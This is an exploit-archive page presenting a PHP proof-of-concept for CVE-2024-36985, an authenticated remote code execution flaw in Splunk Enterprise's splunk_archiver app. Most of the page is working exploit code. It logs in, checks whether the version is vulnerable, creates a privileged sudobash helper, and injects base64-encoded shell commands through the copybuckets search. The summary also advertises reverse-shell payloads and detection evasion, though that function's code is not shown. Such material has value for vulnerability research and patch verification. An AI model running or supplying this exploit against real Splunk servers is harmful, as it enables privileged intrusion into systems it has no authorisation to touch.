Share
## https://sploitus.com/exploit?id=PACKETSTORM:216776
=============================================================================================================================================
| # Title : Splunk Enterprise 9.1.5 9.2.2 via splunk_archiver Authenticated Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.splunk.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214134/ & CVE-2024-36985
[+] Summary : This PHP script is a proof-of-concept exploit for CVE-2024-36985, an authenticated Remote Code Execution (RCE) vulnerability affecting Splunk instances where the splunk_archiver app is installed and enabled.
It is a conversion of a Metasploit module into PHP.
[+] High-level behavior:
Authenticates to a Splunk web interface using valid credentials.
Determines the running Splunk version and checks whether it falls within known vulnerable ranges.
Enumerates installed Splunk apps and verifies that splunk_archiver is present and enabled.
[+] Uses Splunk search commands (archivebuckets and copybuckets) to:
Trigger the creation of a privileged helper binary (sudobash).
Abuse JSON-based parameters to inject environment variables and execute arbitrary system commands.
[+] Supports:
Arbitrary command execution
Multiple reverse shell payload attempts
Randomization is used in environment variable names and providers to evade simple detection.
[+] Key components:
splunkLogin() โ Handles CSRF token extraction and authenticated login.
checkVersion() โ Identifies the Splunk version via API or UI parsing.
getApps() โ Enumerates installed and enabled Splunk applications.
check() โ Verifies vulnerability conditions (version + app presence).
exploit() โ Coordinates the full exploitation flow.
executeCommand() โ Executes a single system command.
getReverseShell() โ Attempts several reverse shell payloads.
[+] Impact:
An authenticated attacker can achieve remote code execution with elevated privileges on vulnerable Splunk servers.
[+] POC: php poc.php
<?php
/**
* CVE-2024-36985 - Splunk Authenticated RCE
* By indoushka
*/
class SplunkRCEExploit {
private $target;
private $username;
private $password;
private $splunkHome;
private $createSudobash;
private $delay;
private $cookie;
private $targetApp;
public function __construct($config = []) {
$this->target = rtrim($config['target'] ?? 'http://localhost:8000', '/');
$this->username = $config['username'] ?? 'admin';
$this->password = $config['password'] ?? '';
$this->splunkHome = rtrim($config['splunk_home'] ?? '/opt/splunk/', '/');
$this->createSudobash = $config['create_sudobash'] ?? true;
$this->delay = (int)($config['delay'] ?? 3);
$this->cookie = null;
}
private function httpRequest($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();
$opts = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_TIMEOUT => 30,
];
if ($method === 'POST') {
$opts[CURLOPT_POST] = true;
if ($data !== null) {
$opts[CURLOPT_POSTFIELDS] = $data;
}
}
if (!empty($headers)) {
$opts[CURLOPT_HTTPHEADER] = $headers;
}
if ($this->cookie) {
$opts[CURLOPT_COOKIE] = $this->cookie;
}
curl_setopt_array($ch, $opts);
$response = curl_exec($ch);
if ($response === false) {
throw new Exception('CURL error: ' . curl_error($ch));
}
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$rawHeaders = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
curl_close($ch);
return [
'code' => $httpCode,
'headers' => $rawHeaders,
'body' => $body
];
}
public function splunkLogin() {
$loginUrl = $this->target . '/en-US/account/login';
$res = $this->httpRequest($loginUrl);
preg_match('/name="csrf_token"\s+value="([^"]+)"/i', $res['body'], $m);
$csrf = $m[1] ?? null;
if (!$csrf) {
return null;
}
$post = http_build_query([
'username' => $this->username,
'password' => $this->password,
'csrf_token' => $csrf,
'return_to' => '/en-US/'
]);
$headers = [
'Content-Type: application/x-www-form-urlencoded',
'Referer: ' . $loginUrl
];
$res = $this->httpRequest($loginUrl, 'POST', $post, $headers);
preg_match_all('/^Set-Cookie:\s*([^;\r\n]+)/mi', $res['headers'], $m);
if (!empty($m[1])) {
$this->cookie = implode('; ', $m[1]);
return $this->cookie;
}
return null;
}
public function checkVersion() {
$url = $this->target . '/en-US/splunkd/__raw/services/server/info';
$res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
if ($res['code'] === 200) {
$j = json_decode($res['body'], true);
return $j['entry'][0]['content']['version'] ?? null;
}
$res = $this->httpRequest($this->target . '/en-US/app/launcher/home');
preg_match('/Splunk®\s+(\d+\.\d+\.\d+)/', $res['body'], $m);
return $m[1] ?? null;
}
public function getApps() {
$url = $this->target . '/en-US/splunkd/__raw/services/apps/local';
$res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
$apps = [];
if ($res['code'] === 200) {
$j = json_decode($res['body'], true);
foreach ($j['entry'] ?? [] as $e) {
$apps[$e['name']] = [
'enabled' => !$e['content']['disabled']
];
}
}
return $apps;
}
private function normalizePath($p) {
return preg_replace('#/+#', '/', $p);
}
private function randomString($min = 8, $max = 16, $upper = false) {
$len = rand($min, $max);
$chars = $upper ? 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' : 'abcdefghijklmnopqrstuvwxyz0123456789';
$s = '';
for ($i = 0; $i < $len; $i++) {
$s .= $chars[rand(0, strlen($chars) - 1)];
}
return $s;
}
private function getJsonPayload($payload) {
$env = $this->randomString(8, 16, true);
$prov = $this->randomString();
$data = [
'vixes' => (object)[],
'providers' => [
$prov => [
'command.arg.1' => $this->normalizePath(
$this->splunkHome . '/etc/apps/splunk_archiver/java-bin/jars/sudobash'
),
'command.arg.2' => "-c \${$env}",
"env.$env" => $payload
]
]
];
return json_encode(json_encode($data));
}
private function executeSearch($app, $query) {
$url = $this->target . '/en-US/app/' . urlencode($app) . '/search';
$post = http_build_query([
'search' => $query,
'earliest_time' => '-1h',
'latest_time' => 'now'
]);
return $this->httpRequest(
$url,
'POST',
$post,
[
'Content-Type: application/x-www-form-urlencoded',
'Referer: ' . $url
]
);
}
private function getRandomApp() {
$apps = $this->getApps();
$list = [];
foreach ($apps as $n => $i) {
if ($i['enabled']) {
$list[] = $n;
}
}
if (!$list) {
throw new Exception('No enabled apps');
}
return $list[array_rand($list)];
}
public function createSudobash() {
echo "[*] Triggering sudobash creation...\n";
$this->executeSearch($this->targetApp, '| archivebuckets forcerun=1');
echo "[+] Trigger sent (async)\n";
}
public function triggerExploit($payload) {
$json = $this->getJsonPayload($payload);
$query = "| copybuckets json={$json}";
$res = $this->executeSearch($this->targetApp, $query);
return ($res['code'] === 200);
}
public function check() {
if (!$this->splunkLogin()) {
return false;
}
$v = $this->checkVersion();
if (!$v) return false;
[$M,$m,$p] = array_map('intval', explode('.', $v));
if ($M !== 9) return false;
if ($m === 0 && $p < 10) return true;
if ($m === 1 && $p >= 2 && $p <= 5) return true;
if ($m === 2 && $p <= 2) return true;
return false;
}
public function exploit($payload) {
if (!$this->check()) return false;
$this->targetApp = $this->getRandomApp();
if ($this->createSudobash) {
$this->createSudobash();
}
return $this->triggerExploit($payload);
}
public function executeCommand($cmd) {
$b64 = base64_encode($cmd);
return $this->exploit("echo $b64 | base64 -d | sh");
}
}
if (php_sapi_name() === 'cli') {
$exp = new SplunkRCEExploit([
'target' => 'http://192.168.1.100:8000',
'username' => 'admin',
'password' => 'password123'
]);
// $exp->executeCommand('id');
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================